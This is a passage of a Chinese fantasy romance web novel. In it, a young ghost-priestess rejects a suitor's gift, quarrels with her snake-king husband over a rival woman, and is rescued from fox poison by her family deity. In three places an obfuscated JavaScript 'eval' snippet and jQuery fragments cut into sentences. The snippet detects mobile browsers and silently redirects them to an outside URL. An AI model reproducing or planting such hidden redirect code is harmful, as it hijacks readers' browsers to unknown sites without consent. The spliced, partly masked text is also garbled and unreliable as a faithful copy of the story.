他话都说到这个份上了,我自是不好再推辞。 天然无暇的……什么? 我好奇地接过礼盒,轻手打开礼盒的盖子。 这才发现,盒子里放着一串红彤彤的玉珠项链。 看这珠子的成色质地,似乎是南红中的锦红! 明艳温润,醒目张扬。 “这是南红珠子。”宋潮生眉眼含笑格外热络的温声和我解释: “我在我一个爱收集玉石文玩的朋友那见过一块漂亮的南红原石手把件,看见它的第一眼,我脑海中就浮现出了你的影子。从小到大,我一直觉得红色很衬你。” 垂下目光将我从头到脚打量了两遍,他一脸真诚道: “你今天这身鬼师服饰,红衣黑纱,很美。 我在我朋友那见过南红后,正好我爸妈催促我回老家办事,我就想着回来前,在省城给你带样礼物。 从他那离开,我就直奔玉石珠宝店去了,只可惜这种好料子很难在现在的市场上轻易买到。 我连跑了三天,进了三十多家店,都没能碰上真正的纯天然南红。 珠宝店里的南红要么是普通玛瑙,要么是造了假,如果没有我那个行家朋友在手机那头给我掌眼,我还真会被市场上的假冒伪劣南红给骗到。 好在,我朋友知道我在找南红,没几天就从他文玩界大亨好友那里得到了省城哪家店有高货南红的确切消息,我开车连夜去那家店找老板商量价钱,最终总算成功拿下了这串南红。 那老板说,这锦红是南红中的极品,料子稀少,一年内大厂做出来的项链成品更是屈指可数。 还好我去得早,不然这锦红第二天一摆上展柜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232333|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到半天肯定就被人收走了。 鸾镜,你快戴上,让潮生哥看看。” 我知道南红料子的珍贵,这串锦红无论从色泽还是工艺上来看,极品中的极品,我虽常年身处大山不与外界接触,但我们山里也是通了网的! 这串南红项链放眼下的市场上,至少得小十万! 我们这些居住在深山老林里的远古族落,多少族人一辈子都挣不到十万块…… “这太贵重了。”我合上礼盒二话没说就把东西退了回去:“潮生哥,我是个粗人不懂赏玩这些,你还是把项链拿回去吧。” 宋潮生反手握住了我的手,目光深长地凝望着我坚持道: “送给你了,就是你的!哪有送人的礼物再收回的道理。再说,这点小钱在潮生哥手里,不算什么。 潮生哥如今在省城做大买卖,一个月的成交额都好几十万了。 当初我家穷,可受过老祭司不少回接济。 记得有一年过年,老祭司在集上买了两只活鸡,路过我家门口时看见我奶奶坐在石磙上抹眼泪,就去问我奶奶怎么了。 我奶奶说儿子媳妇从外地打工回来过年,她却手头拮据连买只老母鸡炖汤的钱都没有,她觉得自己对不起我爸妈。 老祭司听完可是想也没想就把手里刚买的两只活鸡都给了我奶奶!后来还赶在我爸妈到家前送了我家一小筐腊货! 老祭司对我家有恩,当初老祭司自己家里也没有多少腊货,可为了不让我家不饿肚子过年,直接分了家里一半腊货给我家。 现在,我每月赚几十万,送你一条几万的南红又怎么了?” “可是无功不受禄。”虽然他说得很有理,但我还是不想接受他这么重的礼物。 当年外婆分给他家腊货本就不是图他家以后显贵了如何报答我们家,换个人家生活条件如此艰难,我外婆也会毫不犹豫地施以援手。 他再三阻止我把礼物还回去,望着我的眼神温柔和煦: “鸾镜,你再拒绝,潮生哥可要生气了。这条项链是我特意给你挑的,你就当……是潮生哥还了老祭司当年的那份恩情。” “我外婆已经过世了……” “我知道。”他把礼盒稳稳放在我手里:“可你外婆这辈子的心愿不就是希望你能过得好吗?我报答你,和报答她没区别。” 拎起手里剩下的礼盒同我说:“而且不止你一个人有,老师和银杏也有,我给他们买得更多呢!” 我见状,没理由再拒绝他,只好接受了他这份好心:“那好吧……” 想了想,我突然心生好奇,浅声问他:“你给银杏带了什么礼物呀?” 他脸上笑意一僵,咳了咳,从一堆礼盒里又翻出了一个红色纸袋,取出和我手里这只盒子差不多的红绒面首饰盒,打开给我看:“这是给银杏的……” 看这包装,应该也是贵重首饰。 他送银杏贵重项链是应该的,毕竟李叔当初可是白养了他好几年,从没找他父母要过一分钱。 银杏更是待他比亲哥哥还亲。 高中毕业那年,他终归是年纪小,少不更事。 或许现在年岁大了也成熟了,终于明白真情的可贵了。 他亲手把首饰盒打开…… 但里面的东西却让我顿时如鲠在喉! 竟然只是一串普通的珍珠项链。 还是直径仅有六毫米的小圆珠子…… 这珍珠的个头还没有银杏十二岁那年在集上买回来的大蚌开出来的那颗珍珠大。 第102章 把她的香囊送了别人 虽说珍珠粒粒圆润有光泽,可与我的南红项链一比,简直是一个在天上一个在烂泥里! 我顿时沉了眸色,用淡定口吻询问他:“为什么,我的是南红项链,银杏的是珍珠项链……” 谁知道他是什么脑回路,合上礼盒竟漫不经心道: “我家楼下的珠宝店最近正好打折,我看这串珍珠项链挺精致的,就顺手给她带了一串。 鸾镜你不晓得她,她不爱这些身外之物,从前给她买的银项链她都不要,后来全被我带回家送给我堂妹了,她啊,山猪吃不了细糠。 她喜欢吃鸡爪,我这次回来给她带了一盒卤鸡爪,在她的世界里,鸡爪可比什么项链首饰有诱惑力。 镜镜,不瞒你说,这串珍珠项链我其实是根据我堂妹的喜好挑的,她平时首饰盒里全是大珍珠,最近迷上了小珍珠。 这东西给银杏啊,银杏八成是不乐意要的,我还得带回头。 她不要的东西不能给你,不然我怕你俩闹矛盾,那丫头平时心眼可小了,当年我把她不要的银镯子送给了我堂妹,后来就为了这点小事,她差点和我堂妹打起来。 她的性子向来如此,十分小心眼,她不要的东西宁愿毁了也不愿送别人。 你现在还在村里住,你俩抬头不见低头见的,真闹矛盾面上都不好看。 再说,这珍珠也不是什么贵重东西,配不上你……” 呵,男人还真是一样的薄情。 成天追着他粘着他的人,他避之不及,哪怕对一个陌生人,都比对那个真心待他的人要好…… 从前的银杏,现在的我,都是被抛弃的那个。 “可你给了我南红,却给银杏珍珠。” 最便宜的珍珠。 我冷冷盯着他,攥在礼盒上的手指尖抠进红色绒面,指骨绷得发白。 他还没察觉到我语气中的异常,仍自以为是地存心向我示好:“她同你怎能比。鸾镜是天上的凤凰,她只是枝头一片银杏叶。” 说着,还不怀好意地拉住我手,眼神迷离地凝视着我,疯狂自我感动: “镜镜,你知道么,我在省城这几年时常能梦见你……我得知老祭司过世的消息那会子,老祭司的葬礼已经办完了。 这段日子你在族中的遭遇,我都知道了……我真的很心疼你,如果我还在你身边,我肯定会保——” 可惜没等我一口气缓上来,把被他攥在掌心的手用力抽回,我就蓦然感应到一股凌冽的杀气从东面径直袭向令人作呕的宋潮生! 余光捕捉到一抹青色,是片竹叶化成的利刃! 我本能地及时出手,用双指夹住射向宋潮生太阳穴的叶刃。 刚救下宋潮生一命,下一秒,微风吹落的枯黄树叶停顿在虚空,陡然风停树止,周边的一切,似乎都陷入了时空静止! 我捏碎竹叶化成的凶器,转身望向杀气袭来的方位。 一抬眸,视线里就青影一晃,大脑还没弄清是什么状况,胳膊就被某蛇王用力扼住! 身前的高大黑影压迫感极强的占据了我全部视野,我本就被狐毒折磨得双臂酸痛,又被他猛地一抓,顿时更是痛到窒息,仿佛被人捏碎了半条臂骨…… “这就是你的青梅竹马?” 他阴沉着面容,讥诮冷哼:“你的眼光,还真是一如既往的差!如此货色,也值得你惦念不忘?” 什么青梅竹马? 我一头雾水的疼到受不住地挣扎反抗:“你先放开我,我疼……” 他听罢,却不晓得又在生哪门子怪气,不耐烦地沉声反驳: “本尊没用力!你就如此排斥本尊的亲近?你别忘了,你是本尊的夫人!你已经嫁给本尊了!” 他是没用力,可是我中了狐毒浑身骨头疼了一夜,他紧抓着我不放,就是在加剧我的痛苦! “这句话蛇王大人应该和自己说才对!” 我也气不打一处来的暴躁挥臂甩开他,低头梗着脖子,双眼烫红的哽咽道: “我是嫁给了蛇尊,是蛇尊名义上的夫人……哦对,连名义上的夫人都不算。蛇尊并没有对外公布我与蛇尊的关系,蛇尊只是偶尔叫几声夫人哄哄我。 呵,何必呢。蛇尊就算不哄着我,蛇尊想要的东西,也总会有法子得到的,我愿不愿意给,蛇尊都能拿到手,蛇尊你自己都没有将我当成夫人,你还拿这重身份来禁锢我做什么!” “你……在意本尊没有对外公布你的身份?”他意外地怔住。 我嗤笑,后退两步,离他远点:“现在无所谓了。” 他蹙眉,忽然心急:“什么叫无所谓了。” 我咽下喉中酸涩:“蛇尊大人自己在外潇洒,还不允许我另找别人?你如果早说你有爱人……” 剩下的话,有些说不出口。 我别过脸,没出息的湿了眼眶,心口绞痛: “你如果早说你想要我身上的灵气,需要我的圣女气运,我会乖乖配合,给你的…… 好在如今让我知道真相,也不晚。 蛇尊大人今天是来给心上人讨什么的?灵气吗? 你想要,我给你就是,哪怕你想要我身上这一半气运,我也可以抽给你,但还请蛇尊以后,别再拿我当猴耍了……” 我心如刀绞的说完,抬手便要运功逼出自己体内的灵息…… 既然他想要,给他就是了。 火红的灵泽在我掌心越聚越多,他俊容一白,忙握住我手腕,沉声阻止:“本尊何时说过要你的灵气了?阿鸾,你为何如此不讲理,分明是你先……” “帝君!” 一道清凌凌的女声倏然出现,打断了他的话。 我心尖猛地一跳,寻声望去,只见一名身形婀娜,身材消瘦却凹凸有致,穿着一袭浅紫色鸢尾花百蝶束腰广袖长裙的美艳女子面带笑意出现在不远处大槐树下。 女子脸上还携着将将苏醒的慵懒惺忪媚态,粉面桃腮,高鼻朱唇,浅紫色的柳叶细眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232334|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眉尾彩绘栩栩生动的华丽鸢尾花。 如瀑长发未梳理,只松松披散在肩后。 露肩的对襟薄衣上绣满千姿百态的银蝶。 脖间挂着一枚银莲嵌青玉的彩色宝石珠串璎珞。 笑起来眉目弯弯,看向青漓的目光温软而多情…… 这么漂亮的姑娘……当真是、白月光般的存在。 原本还在与我争执的青蛇王见状,亦是看她看呆了…… 我瞧着青漓那痴迷惊讶的眼神,嗓中泛起苦水。 这算什么,把白月光带到原配面前,宣示**? 哦不,我和这个漂亮女子谁是原配谁是小三,还难说呢。 我落寞地闭上双眼,强迫自己的心,冷静下来。 最好能变回一潭死水。 漂亮的紫衣美人分花拂柳缓步而来—— “这位,就是帝君常提起的,妹妹吧?”美人儿走到我面前,嫣然一笑。 妹妹两个字顿时如两道晴空霹雳,狠狠劈进了我的神魂…… 原来,我是妹妹啊。 我不知道自己用了多大力气才勉强保持住面无表情的状态。 也分不清身上究竟是狐毒发作了,还是心寒了…… 垂在袖下的手,指尖控制不住的发抖。 “本尊……” “帝君。”紫衣蛇女温婉挽住青漓的胳膊,毫不避讳的当着我的面,与青漓眉来眼去,温言软语:“你给奴家的这个香囊,味道真怪,奴家不喜欢。改日奴家休养好了,再亲手给你缝一个。” 目光无意瞥见她从袖中掏出的那枚绣了凤凰花的暗青香囊……我头皮一麻,瞬间脑中嗡嗡作响,吵得我神魂浑噩。 那是、我给青漓的…… “你把这香囊送人了?”我再也控制不住胸腔中强压的那股怒意与苦涩了,拔高声泪眼朦胧的昂头质问青漓。 青漓紧皱的眉头,竟在我质问出声后,微微舒展,要触碰香囊的手也顺势收回,负在腰后。 冷着脸无情道:“为何不能送人?你这么想本尊随身携带这枚香囊……难不成是香囊里装了什么见不得人的东西?” 我愣住:“见不得人……” 他冷嗤:“你这般嫌弃本尊蛇王的身份,为了替柳叶村那些人降服本尊,也是煞费苦心。竟在香囊里装除妖符,宋鸾镜,你这个鬼师娘娘当的可真是尽职尽责!” “除妖符?”我听完他的话,只觉得好笑。 “不是么?”他平静反问,扫了女子手中的香囊一眼,句句带刺,字字诛心: “这香囊里有几味草药有助你修复神魂,你听话些,且多佩戴几日。那枚脏东西,已经被本尊扔了,伤不到你。” “脏东西……”我猛吞了几口涌上喉头的腥烫,周身寒意刺骨,昂头压下眼角湿润:“的确是脏东西。” 转身,双腿没有知觉的艰难朝回家方向走去。 没走几步,就听他哄怀中心上人:“若是实在不喜欢,就把它扔了吧。” 第103章 华桑大帝从神龛里活过来了! 女子闻言欣喜不已:“奴家就知道,帝君只习惯佩戴奴家做的香囊。” 我昂头,看着阳光明媚的天。 停顿在虚空的柳叶翻飞落下。 风起,树动。 我闭上眼睛,默默念了个封住七情六欲的灵咒。 赤金灵光在我指尖徜徉散去,念完,我的身子总算轻松了许多。 古人说得对,七情六欲害人。 孤身回到家,我把宋潮生那糟心玩意送的南红项链随手扔在桌子上。 小凤凰赖床刚起,见我回家,开心地扇动翅膀围着那只红色首饰盒转。 落身在红木桌面上,小凤凰用嘴巴撬开首饰盒,对着里面的南红项链两眼放光流口水…… “主人,这是谁给的南红啊!好漂亮,小凤喜欢!” 我倒了杯温水润嗓子,努力用内力压制住体中肆意游走的寒气,忍住拿杯子的那只手不哆嗦: “一个烂人送的,小凤,我听说……鬼界有鬼市,里面有很多稀奇东西,你能入鬼市吗?” 小凤凰昂头,兴奋地点点脑袋:“可以呀,青鸟哥哥就在冥界,小凤在地府有人脉!” 我听了这个答复,松口气,把南红项链推给她: “这些珠子都是上品,你把它拆开,喜欢就留几枚,剩下的你带去鬼市,帮我换点……能起死回生的灵药。 如果没有起死回生的丹药,那就换延年益寿与祛病驱邪的仙丹……对了,如果有能让女孩子面若桃花的养颜丹,也可以给我弄点过来。 这些丹药在人间是千载难逢,可在鬼市却是遍地可见,应该要不了多少钱。 这些南红珠子如果不够用,你再把我房中那个绘着桃花喜鹊的衣柜打开,最下层有个木盒子,里面装的全是银元宝,你下去的时候一起带上。” “要拿这南红项链换东西啊。” 小凤凰把南红项链衔出来,往自个儿的脖子上一挂: “小凤觉得,这项链好适合小凤!主人,青鸟哥哥在地府,他现在管着鬼市呢,我们去鬼市拿东西直接挂他账上就成了,不用花钱……” 去鬼市拿东西都不用付钱……看来还真是出门在外靠人脉。 小凤凰还是蛮厉害的,地府都有认识的人。 “也行,那你帮我弄点我要的仙丹回来吧。至于这串南红项链,就归你了。”我说。 小凤凰开心捧着南红珠子欢喜蹦跳:“哇?好耶!谢谢主人!” 小翅膀玩着南红珠,凤凰想了想,又歪头好奇道:“主人,你要这些仙丹干嘛?主人你也想长生不老永葆青春?” 我扶额揉了揉太阳穴:“不是,我是给银杏准备的,那姑娘,成天蹦蹦跳跳……多给她准备点仙丹,我放心。” 南红珠子是宋潮生给的,我拿宋潮生的东西去给银杏换仙丹,这很合理。 本来,就是宋潮生欠银杏的。 当初他离开月阴村,害银杏差点丢了半条命…… 这次回来,恐怕是祸不是福。 最近还是少出现在银杏与宋潮生面前为妙,宋潮生那个渣男,我真该有多远离多远。 “原来是给小银杏准备的呀。”凤凰挂着南红项链开心欣赏:“可是主人,你其实可以直接去找帝君要的。帝君手里仙丹超级多,你用他的还无需花钱……” 提及那个人,我眼眶陡然发烫。 “我不要他的。”我情绪不稳定地重重放下茶杯,吓小凤凰一跳,失神呢喃:“谁稀罕他的东西……” 他嫌弃我给的东西,我也不要他的东西。 除妖符? 呵,他甚至都不愿意打开看看,就急着给我定罪…… 是啊,他的爱人如今苏醒了,他也懒得再装了。 他不演了,我也该清醒了。 “主人,你很不对劲……”小凤凰飞到我耳边,歪头小心翼翼地问我:“主人是不是和帝君闹别扭了?” 我别过头,矢口否认:“没有。” “可是主人的眼眶红了哎!” “熬的。” “主人昨晚不是很早就休息了么?” “我失眠还不行么。” “……哦。” 小凤凰见我心情不好,便乖乖飞出去,自己玩了。 我在她走后继续打坐运功试着逼出**…… 虽说**还是没能被逼出来,可也让我发现了一个关键点。 这狐毒,白天似乎威力并不强。 夜里才会发作的极厉害。 中午是打算去银杏家找李大叔和阿乞救命的…… 偏偏宋潮生那个招人烦的在李大叔家吃午饭。 我不想再见到他,便只能忍着狐毒在体内制造出的强烈不适感,待在家里自己运功控制。 下午,太阳快落山那会子,我实在干不动家务活了,便将袖中的两只小纸人放出来帮忙收拾院子…… 老大拿扫把扫落叶,老二拎着水桶小心翼翼地给院里花草浇着水。 我则搬了个小椅子,靠在梨花树下珍惜享受这所剩不多的温暖阳光…… 企图用炙热的阳气驱一驱身上的寒意。 闭上眼睛,没多久我竟浑浑噩噩地睡着了过去…… 再清醒,太阳已经落山了。 体内阵阵酥麻滚烫,与狐毒散发出的寒气交融,折磨得我心中发燥。 怎么又冷又热的……这很不正常! 我赶紧运功探了探体内的状况…… 可结果却令我欲哭无泪。 真巧,这种时候我体内的鸳鸯缠竟然也发作了。 屋漏偏逢连夜雨啊。 只好在,鸳鸯缠被人纾解过几次,这回再发作并不是很凶猛。 我闭上眼睛绝望地深呼一口气。 狐毒还有解毒的机会,可鸳鸯缠呢? 眼下这局面,我肯定不能再厚颜无耻地缠着他给我解鸳鸯缠了。 就算他愿意,我也过不了心里的这个坎。 我没有睡别人男朋友的癖好。 鸳鸯缠是那只死狐狸搞出来的灵咒,既然是狐族秘术,他嘴上说着鸳鸯缠无解,可狐狸最擅长骗人…… 说不定,鸳鸯缠有解法。 只是如何把解法套出来,是个大难题…… 而且我体内的鸳鸯缠现在已经发作了,我顶多只能撑三天,三天内得不到彻底解除鸳鸯缠的办法,能救我的就只剩青漓了。 可我,已经接受不了和他肢体触碰了。 实在不行…… 还是让银杏给我找个男人吧! 命重要。 我扶着梨花树踉跄起身,抬手摸摸脑门子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237939|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冷汗如雨。 两只小纸人见我清醒,十分有灵性地跑去厨房倒了杯热水送给我。 随后担忧地昂着小脑袋,盯着我把热水喝完。 一杯热开水下肚,我觉得身上好受许多,揉揉小纸人的脑袋,浅声道:“去玩吧,不用管我。” 小纸人不放心地停留在原地,一动不动。 我看了眼西沉的落日,准备趁着夜幕还未完全降临,把该办的事办完…… 晚点再给银杏发消息喊她救命吧。 体力不支的扶墙进了堂屋,我掀开内室的藏蓝门帘,缓步走到神龛前,拿起三炷香,用神龛左右两侧的香烛烛光点燃。 青烟袅袅萦入虚空,我面朝神龛跪下,虔诚执香拜了三拜…… 第三拜拜下,我额头贴地,忽然听见上方屋顶有东西踩碎了瓦片。 紧接着屋外狂风大作,谢妄楼的声音从屋顶幽幽传来:“宋鸾镜,求本王。本王现在就可以给你解狐毒。” “别挣扎了,狐毒摧残折磨的是人的心智。你那个好相公,已经不要你了。你现在只有求本王一条路。” “夜幕降临,你闭上眼,便会如坠寒冰地狱,你的家人,你的爱人,甚至你的挚友,都会离你而去……” “你昨晚能撑过来,今晚怕是难了!” “就这么把你玩**,还挺可惜……不如,本王现在就打晕你,等本王占了你的身子,你想走也难了。” 话音落,死狐狸在我头顶猖獗狂笑了起来。 而我也发现,自己的身子越来越沉重,体力越来越不支……连起身的力气都没有了。 三炷香陡然在手中折断。 我痛苦地呛咳一声,下一秒,一口黑血喷在了跪垫上。 虚弱倒下去的同时,头顶瓦砾哗哗啦啦一阵躁动,像是有什么东西在掀我家屋顶…… 好冷、脑袋好晕。 就在那狐狸要一掌震烂我家屋子那一刻,神龛里的神像陡然金光乍现—— 紧接着,就是狐狸被撞飞的惨叫声。 一缕青烟迅速落到我身畔,凝出仙人身影…… “阿鸾!你真中狐毒了?!” 这声音、听起来…… 像青漓。 可他、怎么会回来找我…… 仙人慌里慌张地将我从地上抱起来,揽进怀里,大手心疼地抚摸我容颜。 擦去我嘴角污血,一遍又一遍地颤抖呼唤我名字:“阿鸾、阿鸾……你怎么被折磨成这样了!” 他的怀抱,好温暖。 我似梦似醒的艰难睁眼,模糊视线落在仙人罩了龙首面具的脸上…… 这面具,怎么看着,有点眼熟呢。 这人也眼熟…… 记忆中的龙神神像与眼前的仙人身影渐渐重叠—— 不对! “华桑大帝!”我用尽全身力气猛地惊叫,差点从他怀里诈尸蹦起来…… 看、看到**了! 他老人家从前不是、不是…… 我僵着脖子,机械扭头看向黑乎乎的神龛…… 不是在神龛里待着吗! 抱着我的龙神大人亦是猛一惊,下一秒反应比我还大的抬手就摸脸上龙首面具。 尔后莫名其妙地喃喃自语了一句: “忘记换过来了……” 第104章 别轻易原谅他 换、什么? 没时间细想,我捂着被狐毒侵蚀的心脏,喉间滚出一汩又一汩浊流,羸弱倒回他的怀抱里…… 这或许,是个梦吧。 华桑大帝怎么可能现身救我一个菜鸡。 就算他是我家供奉的家神,就算他要保护我……也只需挥挥手就能搞定,根本用不着亲自出面。 他们这些尊贵的龙神啊、蛇尊啊,怎么会在意区区凡人的性命。 我可真会做白日梦…… 罢了,既然美梦做都做了,那就做到底吧。 “阿、鸾儿……不怕,本帝现在就带你去解毒!”他急匆匆地抱起我,带我离开神堂迈出堂屋,回自己卧房…… 甫一走出堂屋房门,我就被迎面袭来的寒凉晚风吹得浑身打冷颤。 本能地往他怀里瑟缩,我被冻得上气不接下气,歪头枕着他胸膛,气若游丝地低吟着祈求: “龙神、大人……能不能帮我、解开鸳鸯缠……我后悔了……” 后悔那么随便、就把牵制自己的绳索,交到他的手里。 抱着我步伐匆匆的华桑大帝脚下一顿。 但,也只是顿了那么一两秒。 很快就继续大步流星地送我进卧房。 我靠在他怀中,浑浑噩噩地喃喃低语,自顾自诉苦: “他根本、不会管我……他说得对,永远不要把自己的性命放进别人手中,被别人掌控,永远不要、指望任何人……” “我不喜欢他……” “应该是不喜欢的……我不在意他。” “可为什么我心里好难受。” 我昂起头,一双眼皮疲累沉重,阖目,委屈地呜咽着: “龙神大人……华桑大帝,你也是假的,根本不会有人来救我。 我要努力变强大……这样,至少在我痛苦的、时候,我就不用、这么卑微的……去求别人。 龙君大人,在别人面前、低三下四地求着别人相信自己、拯救自己的滋味,好难受……” 他本打算将我放在床上的,谁知我突然扒在他怀里嚎啕大哭了起来。 害他放下也不是,不放也不是。 手足无措。 末了只能抱着我,矮身在床边坐下,把我放在腿上任我扒着他放声发泄…… 大手温柔地拍打我肩膀,他的沉闷嗓音隔着面具,低哑传进我耳中:“鸾儿,莫哭。” 一手悄然凝聚法力给我缓解体内不适,一手控在我的腰上,稳着我不从他怀里摔出去…… “阿鸾,为何不说……为何不告诉他,你的确中了狐毒。你告诉他,他必舍不得你受一分折磨。” 我伏在他胸膛上哭着苦笑,拿他的衣袍擦眼泪,无奈冷哼: “我说了啊,他不相信我,还说我在装……我喊疼,他说他没用力。 无论我说什么,他都觉得我是在演戏……他只会心疼他那个长得漂亮,说话温温软软的白月光…… 他早说他有爱人,我就与他保持距离、不招惹他……现在算什么,给我尝到了甜头,后来又告诉我,他给的一直是过期糖。 龙君大人,你能不能管管他!他真的、很过分……” “阿鸾。”他心疼地抚了抚哭到意识不清醒的我脑袋,哽了哽,歉意沉喃:“是他不好,他只顾吃醋生闷气,只想着逼你认清内心,才忽略了你的感受,害你受了这么多委屈。” 纵容我将眼泪抹在他衣襟上,他低低解释:“那不是他的爱人,阿鸾,他只有你一个爱人。” 我不相信地嗤笑,哭得心脏抽痛,小声倚在他怀里咕哝:“别骗我了,我都知道了……” 狐毒的寒意冻得我下意识往他怀抱深处努力缩蹭,企图借他体温暖一暖自己,让自己好受些。 他扶在我背上的大手也暗中蓄着法力,不断往我体内运送神泽,化开包裹住我五脏六腑的那层妖毒冰霜。 见我还是冷,体贴的拎起被子盖在我身上,把我紧紧拥住…… 我头晕眼花昏沉的厉害,哽咽着攥住他衣袍,哭哭啼啼的冲他告状: “龙君大人,我是不是很蠢……他都那么对我了,我还给他送什么香囊…… 他被别人打伤和我有什么关系,我是什么身份啊,有什么资格关心他。 香囊给了他,他看都不看就说、我往里面放脏东西,还把香囊给了那个白月光……他也知道香囊里的草药,对蛇类有益! 他根本不晓得我为了凑齐那些草药,费了多少心血。 我为了给他绣那朵破花,手指头都被扎破了、眼睛都快熬瞎了。 可他、随手就丢给了别人,还要、扔掉……我就不该对他抱有希望。 但是……” 我磕磕巴巴拉住他吐苦水,说着又一头撞在了他的胸口上,嚎得更卖力了,眼泪一把鼻涕一把地呜咽道: “他以前不是这样的,他以前没这么冷血……哦,我记起来了,那条死狐狸和我说过,冷血蛇之所以留着我没弄死我,是因为冷血蛇还需要我…… 我的体内灵气重,我还有半身阴苗族圣女气运,他需要我的气运与灵气,去唤醒他的心上人。 从前他对我好,是那个漂亮蛇女没醒,现在他爱的人苏醒了,回来了,他自然就不要我了……不要就不要,干嘛突然变得那么冷漠。 刚认识他的时候,他比谁都热情温暖,现在他的爱人苏醒了,他又一夜之间,疏离冷漠,变得比谁都陌生。 连一点、缓冲时间都不给我,他就不能仁慈些,哪怕渐渐地远离……也好过断崖式分手啊! 他上辈子是唱戏的吗,变脸那么快!” “阿鸾!不是这样的,谢妄楼那畜生在骗你。 本、蛇王他和你在一起,从来都不是为了利用你唤醒什么所谓的爱人,你就是他的爱人。 紫蛇与他,没有任何暧昧关系,更不是他的心上人。” “你也忽悠我。” 我伏在他身上哭得昏昏欲睡,羸弱控诉: “他如果真把我当爱人、退一万步,哪怕是把我当相亲对象,当一个刚认识的陌生人…… 他也不能、用那样的话伤我、不经查证,就不信任我、冤枉我。 龙君大人你知道么,他出门办事这几天,我每夜都在等着他。 离开的时候还好好的,回来、他就变了。 他夜不归家,我担心的一夜没睡着,就怕他在外遇见什么事,被什么坏东西暗算伤着了。 我既怕他出门打架在敌人手里吃亏,又怕谢妄楼那只死狐狸背地偷偷阴他…… 好不容易等到他回来了,他却冷暴力我,我根本、不知道自己到底做错了什么。 我想和他说话,他爱答不理,我靠近他,他也冷着一张脸,还拿话呛我。 他都那么对我了,我想的却还是、他是不是在外遇见麻烦了,所以心情不好。 我问他柳叶村闹妖怪的事,本意是打算安慰他别担心,别人不信他我信他,我会想法子证明他的清白。 但他、没听完我的话就笃定我不相信他,还凶我…… 我当时又委屈,又害怕他是因为打不过别人,怕连累我,所以才故意拿话伤我,急着和我撇清关系…… 直到,谢妄楼带我去见他,我看见他身边,出现了一名眼生的漂亮蛇女……他们亲密缠绵,他那样关心她……真让我羡慕。 我以为我不会难过的,可当谢妄楼拿银针试探他,他想也没想就抱着那个蛇女走的时候,我才清楚感受到,被人抛弃的滋味,比剜心抽骨还疼。 谢妄楼说,他和我打赌,赌那条蛇会救我,还是救他的心上人,赌输了,我就得跟他走…… 哪怕那条蛇都走远了,我还是盼着他能回来找我,可他,没回来。 是他把我扔给谢妄楼欺负的,如果,我没有被您选中成为鬼师,有画鬼符的能力,我早就死谢妄楼手里了…… 我不相信他在乎我,不相信他对我有一丝感情。 因为,我若是他,他被别人胁迫的时候,我一定会不假思索地选他……” “阿鸾……” 他唤我的嗓音沙哑,抬手摸摸我额头,与紧闭双眼的我温声说: “**已经化掉了,你今夜会发烧,可能很难受……不过,我陪着你。” 微凉的手掌贴在我开始发烫的脸颊上,我又冷又热,难熬的喘着粗气。 他将我轻轻搂起,按在肩上,让我贴着他的胸膛安心静养,体贴的给我抚着后背,帮我缓气。 “是他犯蠢、伤了你的心。” 隐约间,我好似在他身上也闻见了熟悉的莲花香…… 许是真被狐毒毒坏了脑子,此时此刻,我都有点分不清抱着我温柔呵护的男人究竟是龙君,还是青漓了。 这个梦做的,真是离谱。 青漓不可能回来找我,还帮我解毒的,他有他的 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尤其是,在听见你说,你还忘不了你的青梅竹马时,他就更加嫉妒地发狂,恼怒的不行…… 他满脑子都是,你是他的,旁人凭什么同他抢。 他控制不住地生你气,那般亲密的事都做过无数次了,你却还说,对他没有感觉。 你说他性子阴晴不定,你要是不做些让他开心的事讨好他,怕他会一口吞了你。 都这么久了……阿鸾,为何还是没发现,他待你好是发自真心。 他怕你有压力,怕吓着你,只能默默将那份深入骨髓的爱埋藏在心底,尽量不过多暴露。 阿鸾,孤身藏着一份爱,被迫独自消化的滋味也不好受。 他怎么会舍得,一口吞了你。 你的话,让他以为你从前在他面前的欢喜,与他的亲近,还有……求他给你解鸳鸯缠时,说只要他,愿意将自己给他,都是假的。 他受不了你的虚情假意,才会心痛的发疯,愚蠢地去做那些伤害你的事。 鸾鸾,他知错了,我们不要什么青梅竹马了,可好。 阿鸾,你瞧瞧他……这三百年,是他守在你身边,等了你无数个春秋。 上辈子,不是说喜欢他么……重来一次,喜好真的会变么? 阿鸾,他是你的阿漓,也是你的大蛇。” 体内的寒意徐徐消散后,我疲倦地枕在他臂弯上阖目睡着了过去…… 他依旧在我耳畔柔声同我说话,低沉言语并不惹人心烦。 “那天他并没有扔下你不管,他刚走就后悔了,是他犯浑,为了同你赌气把你扔给谢妄楼。 他当然清楚谢妄楼品性低劣,他也怕你真被谢妄楼欺负了,只是他去迟了一步。 